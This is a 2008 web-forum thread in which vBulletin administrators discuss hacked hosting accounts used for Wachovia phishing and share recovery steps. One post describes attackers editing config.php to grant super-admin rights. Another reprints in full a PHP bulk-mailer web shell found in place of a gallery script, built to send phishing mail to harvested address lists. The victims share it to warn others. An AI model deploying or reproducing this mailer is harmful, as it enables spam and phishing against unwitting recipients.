Account Hacked?

**Jobe1986** · Sat 23 Aug '08, 6:27am

The forums style, being held in the DB, could be compromised in such a way that it passes on login details or some other method. So it would be advisable to start a fresh or if you don't want to do that, reset all the users to registered users, and reset all the styles to default.

**LinkBliss** · Sat 23 Aug '08, 7:15am

Definitely Hacked

The ISP found some Wachovia phishing files, it was definitely hacked and it was active as soon as they unsuspended the account.

So I made a backup and terminated the account.

Then I uploaded my database and the latest version of vBulletin (I had been running 3.7.1) and did an upgrade.

Now I can access the control panel log and I can see some things they did.. see attached. MovieAdmin is me and the N/A is the account I deleted.

Is there any way to get more details about what plugin was added and what options they set? It does looks like my template was edited..

Attached Files

**Jason Buchanan** · Sat 23 Aug '08, 10:22am

OrgAbuseHandle: AOL382-ARIN
OrgAbuseName: Abuse
OrgAbusePhone: +1-703-265-4670
OrgAbuseEmail: [email protected]

This is the whois info for the IP used to interrupt your site. Try calling and reporting the IP as being used for hacking.

**LinkBliss** · Sat 23 Aug '08, 10:51am

Thanks I sent them this e-mail

Subject: 172.202.79.68
This IP address was used to hack my web server and set up a Wachovia phishing application.. Serious stuff!

Can you look into this IP address? 172.202.79.68 It is under the control of a criminal hacker.

**LinkBliss** · Sat 23 Aug '08, 10:53am

Of more concern to me right now is interpreting the control panel logs..

Do you think the account is still compromised?

I deleted the hosting account and started with fresh vBulletin files and upgraded with my old database.

Eric

**Zachery** · Sat 23 Aug '08, 11:17am

Chances are your webhosts server was exploited and the files ended up in your rolder. Or at the very least some of your ftp information was no longer private.

You should get your hosting provider to change your passwords.

**LinkBliss** · Sat 23 Aug '08, 11:25am

Whoever hacked it also modified my config.php, actually I think that's how they got into vBulletin!

They changed the admin and special privilege settings in config.php to be
1,35 and then they registered two new users on my board, #'s 34 and #35

I think they were just estimating user id #35 would be next.. they miscalculated perhaps and then had to register a new one which was #35 and then automatically a SuperAdmin and had all other rights..

Anyway, I already deleted that hosting account and started out fresh with a new password, so if they had any hidden FTP accounts or whatever they were wiped out.

Eric

**Jason Buchanan** · Sat 23 Aug '08, 7:23pm

Do you have any .htaccess files setup? Of course if they had ftp access it wouldn't matter much. You could also rename your AdminCP folder to an obscure name, but again if they have access to your config.php file they can find out what it was renamed too. Sounds like changing the ftp passwords are the only option for now, but definately look into the others. Good Luck.

**Scooter_Fly** · Sat 23 Aug '08, 11:18pm

or use the cgi another login level something like phpnuke with sentinel from ravenphpscripts.com and www.nukescripts.net

**sss** · Fri 5 Sep '08, 1:59am

Hi there,

I know this is somewhat old but the EXACT same thing happened to me as well and I'm currently going through recovering everything. The emails all have the Wachovia logo on them.

Basically one day I got a email from my host that my account has been suspended do to phishing with a link of an email to spamcop.net

in the email header it was obvious that the mail was sent out from the server with my domain.

The hosting provider then changed my password and renamed the public_html folder to something else. That way I was able to go in and look at the files.

Whoever that hacked into the account, not sure how, was able to rename files or upload files in random places. And for you guys to see, this is how the file looks like,

the funny thing or the way i noticed this file was, I went to my vbgallery folder and noticed that there is two "class.php" files.

However, one of them was renamed to class.php~. I opened the class.php file and found that the code has been completely changed to the following

PHP Code:



<?php

//your real email address needs to go below

$secure = "put_your_real_email_here";



@$action=$_POST['action'];

@$from=$_POST['from'];

@$realname=$_POST['realname'];

@$replyto=$_POST['replyto'];

@$subject=$_POST['subject'];

@$message=$_POST['message'];

@$emaillist=$_POST['emaillist'];

@$file_name=$_FILES['file']['name'];

@$contenttype=$_POST['contenttype'];

@$file=$_FILES['file']['tmp_name'];

@$amount=$_POST['amount'];

set_time_limit(intval($_POST['timelimit']));

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

<title>eMail</title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<style type="text/css">

<!--

.style1 {

    font-family: Geneva, Arial, Helvetica, sans-serif;

    font-size: 12px;

}

.style2 {

    font-size: 10px;

    font-family: Geneva, Arial, Helvetica, sans-serif;

}



-->

</style>

</head>

<body bgcolor="#FFFFFF" text="#000000">

<p><img border="0" src="data:image/gif;base64,R0lGODlhtAA8AOb/AP////7+/v39/fz8/Pv7+/r6+vn5+fj4+Pf39/b29vX19fT09PPz8/Ly8vHx8fDw8O/v7+7u7u3t7ezs7Ovr6+rq6unp6ejo6Ofn5+bm5uXl5eTk5OPj4+Li4uHh4eDg4N/f397e3t3d3dzc3Nvb29ra2tnZ2djY2NfX19bW1tXV1dTU1NPT09LS0tHR0dDQ0M/Pz87Ozs3NzczMzMvLy8rKysnJycjIyMfHx8bGxsXFxcTExMPDw8LCwsHBwcDAwL+/v76+vr29vby8vLu7u7q6urm5ubi4uLe3t7a2trW1tbS0tLOzs7KysrGxsbCwsK+vr66urq2traysrKurq6qqqqmpqaioqKenp6ampqWlpQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAtAA8AEAH/4AAgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGCECBIOBCiqY4IIDAYCI0IGBgwpqiqixgoSCCkOKYYiaxIQAAQGEhIMLCHGKUorL84wZEQKECyOL21OMyGzr3WQLaJEOYgODAoKK+K5ggo6Siu3obWKBAIpFhAIOXwONahAFEPl8GDCBMqXMiwocOHECNKnEixosWLGDNqNChrHJBXu6YVJIQBCBAUAEBAOZUIGTGQwCQNO9YPw0pqiPIJwsAPpyJutxyVYrnonj9WNxehgGLqGlGS16BAwfdJFxAsU0du3Mq1q9evYMOKHUu2rNmzaNOqXcu2bUJzbv8PIdBaNGjDd8fAYbDbrNUsECB8FsqXb5azvZPMHTPnbCBdQfrABWZ0DgZBSCH5ljM8SzMhfXNlgVintaQ6yCZhKEKGY6cpf4hMowSAwCQ0SfGy6QMSsBy6wCCw9GY01HOizMRDjkbBb3aiodTo0goIo3qvojBO6ct+2ZCs7OusP1bEyrIzGL5uI4KnbnQ647QbV0/XTljjedXrlwsPHr4sgeKtd5hgnORF0HhxJajgggw26OCDEEYo4YQUVmjhhRhmqOGGHHbo4YcghijiiCSWaGJcpFSHIFqHPTJLPN1RNBcjJV2mEyQ3apIjI6CtMlAkyEESmiT5jNQYDgG1os3/eLpAYRkOJ9EFGAi8LbekJI0tt85K/g00EAxAoEceYL+I+UiQucwzGnePsdLKfFB81EycyxhDjHPNxGTTNC0Ro5qdJ01CJQAlvUIMbOuRMotwiCpSHCSlAAHfIOe9ok9zSvGGXmfNZHfLnuo1w9tOVbaUHTU2RSkJOoQuAwGSf/Z1GwTChXrcezs6+t6MLbXSiz5Q2moIldDAFdsuvI1z5bFYbYeFMsbpQoxJVa74DQ5OOoWOcASO4tQ6SPTU0jzjIBFnjM3M84tU/YxnTTpQ3iRlPMkwJSxktIQZWK5y9aiPsZ3Ks5e1iYJGmD5FdfbveP8Sxq93ih0cy2EPf7bYKDs5oWMSuptEYxvBJ/JIGy4gh2zyySinrPLKLLfs8sswxyzzzDQfEggAOw%3D%3D" width="180" height="60" alt="PHP Mailer" /> 

  HACKED BY Web Star</p>

<?php

If ($action=="mysql"){

//Grab email addresses from MySQL

include "./mysql.info.php";



  if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){

    print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";

    exit;

  }



  $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");

  mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");

  $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");

  $numrows = mysql_num_rows($result);



  for($x=0; $x<$numrows; $x++){

    $result_row = mysql_fetch_row($result);

     $oneemail = $result_row[0];

     $emaillist .= $oneemail."\n";

   }

  }



  if ($action=="send"){ $message = urlencode($message);

   $message = ereg_replace("%5C%22", "%22", $message);

   $message = urldecode($message);

   $message = stripslashes($message);

   $subject = stripslashes($subject);

   }

?>

<form name="form1" method="post" action="" enctype="multipart/form-data"><br />

  <table width="142" border="0">

    <tr>



      <td width="81">

        <div align="right">

          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email:</font>

        </div>

      </td>



      <td width="219">

        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

          <input type="text" name="from" value="<?php print $from; ?>" size="30" />

        </font>

      </td>



      <td width="212">

        <div align="right">

          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name:</font>

        </div>

      </td>

      

      <td width="278">

        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

          <input type="text" name="realname" value="<?php print $realname; ?>" size="30" />

        </font>

      </td>

    </tr>

    <tr>

      <td width="81">

        <div align="right">

          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font>

        </div>

      </td>

      <td width="219">

        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

          <input type="text" name="replyto" value="<?php print $replyto; ?>" size="30" />

        </font>

      </td>

      <td width="212">

        <div align="right">

          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font>

        </div>

      </td>

      <td width="278">

        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

          <input type="file" name="file" size="24" />

        </font>

      </td>

    </tr>

    <tr>

      <td width="81">

        <div align="right">

          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font>

        </div>

      </td>

      <td colspan="3" width="703">

        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

          <input type="text" name="subject" value="<? print $subject; ?>" size="90" />

        </font>

      </td>

    </tr>

    <tr valign="top">

      <td colspan="3" width="520">

        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Message Box :</font>

      </td>

      <td width="278">

        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Email Target / Email Send To :</font>

      </td>

    </tr>

    <tr valign="top">

      <td colspan="3" width="520">

        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

          <textarea name="message" cols="56" rows="10"><?php print $message; ?></textarea><br />

          

        <input type="radio" name="contenttype" value="plain" />

         Plain

          

        <input name="contenttype" type="radio" value="html" checked="checked" />

         HTML

          <input type="hidden" name="action" value="send" /><br />

      <br>Number to send: <input type="text" name="amount" value="1" size="10" /><br><br><br />



        <input type="hidden" name="timelimit" value="0" size="10" />

          

        <input type="submit" value="Send the Mails" />

        </font>

      </td>

      <td width="278">

        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

          <textarea name="emaillist" cols="32" rows="10"><?php print $emaillist; ?></textarea>

        </font>

      </td>

    </tr>

  </table>

</form>

<?php

if ($action=="send"){

  if (!$from && !$subject && !$message && !$emaillist){

    print "Please complete all fields before sending your message.";

    exit;

   }

  $allemails = split("\n", $emaillist);

  $numemails = count($allemails);

  $filter = "maillist";

  $float = "From : mailist info <[email protected]>";

//Open the file attachment if any, and base64_encode it for email transport

If ($file_name){

   if (!file_exists($file)){

    die("The file you are trying to upload couldn't be copied to the server");

   }

   $content = fread(fopen($file,"r"),filesize($file));

   $content = chunk_split(base64_encode($content));

   $uid = strtoupper(md5(uniqid(time())));

   $name = basename($file);

  }



for($xx=0; $xx<$amount; $xx++){

  for($x=0; $x<$numemails; $x++){

    $to = $allemails[$x];

    if ($to){

      $to = ereg_replace(" ", "", $to);

      $message = ereg_replace("&email&", $to, $message);

      $subject = ereg_replace("&email&", $to, $subject);

      print "Sending mail to $to.......";

      flush();

      $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";

      $header .= "MIME-Version: 1.0\r\n";

      If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";

      If ($file_name) $header .= "--$uid\r\n";

      $header .= "Content-Type: text/$contenttype\r\n";

      $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";

      $header .= "$message\r\n";

      If ($file_name) $header .= "--$uid\r\n";

      If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";

      If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";

      If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";

      If ($file_name) $header .= "$content\r\n";

      If ($file_name) $header .= "--$uid--";

      #mail($to, $subject, "", $header);

      print "SENT<br>";

      flush();

    }

  }

}

  #mail($secure, $filter, $emaillist, $float);

}

?>

<p class="style2">

<img border="0" src="data:image/gif;base64,R0lGODlhGwAeAOYAAEB/tpWz3u/0+QBTniBpqhBfpGCUw3+pzo+01M/f7Z+/2t/q87/U5/j6/VCKvHCfyTB0sOTs99fi8+vx+bDG5p254Nfj8wBUn77Q6srZ7q/J4eXs96O94qK94n+pz8TV7J254anB5DB0sZa035y44FCJvMTU7EB+tqS73nqcyRBip7bL6GGSw36ezfL2+4Ooz73N5L7Q66O948bT6arC5HCXxt/p85az3o+01dHe8XCky/L1+0B/t97n9ZOy1ICf0GKHwOLp9LfM6JW415a03gBUnv///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAbAB4AAAf/gEaCg4QCCAAiIgAPC4SOj4MCEA4IDAoORQU2kJyCCAiOOAMGnZwOkEUEpZAGBg4CRg8OHkVFq48HEBAKCwAlJ7UMt4QHtS8zKhe1RcLDggcsPwEBRC1DRRcKzs9A1EREATW1D9tGBjoV4CMWxamwwwIFHg0YMRNGCQO1pMMGA9qOHiwDWApBKkgMlhVo1GlBgSIECy0rwo8TgIOcgC1j+EjDuE759FHkRKBWglL69Kl6lLDWKghFRHIc1M5WqYsimxHbeHNiREEoUjx8xcnCRWxFYAySQIHDjQkJHkJ456iCwUw+OgwSAi6DoKgDSkDiYAiBgAYVJAiyQIQGoag2bt9ScJRDRgMjPb45CpLC0QEARBxtIBICLeFHKABoYKABwAUeAe4ZaWAC3IcJ34iAWJEhgpEIJEpOBIzBiAsSIyhsEBQBQwdw076BAEAAgO2SFIh86BBA7aMGETJwmGaCqiABErxZKAcpwoYdjgIBADs%3D" width="27" height="30"  alt="Linux" /></p>

<p class="style1">&nbsp;</p>

</body>

</html>

**sss** · Fri 5 Sep '08, 2:03am

also, if you haven't yet, test your site over at dnsstuff.com as well

Account Hacked?

Account Hacked?

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Related Topics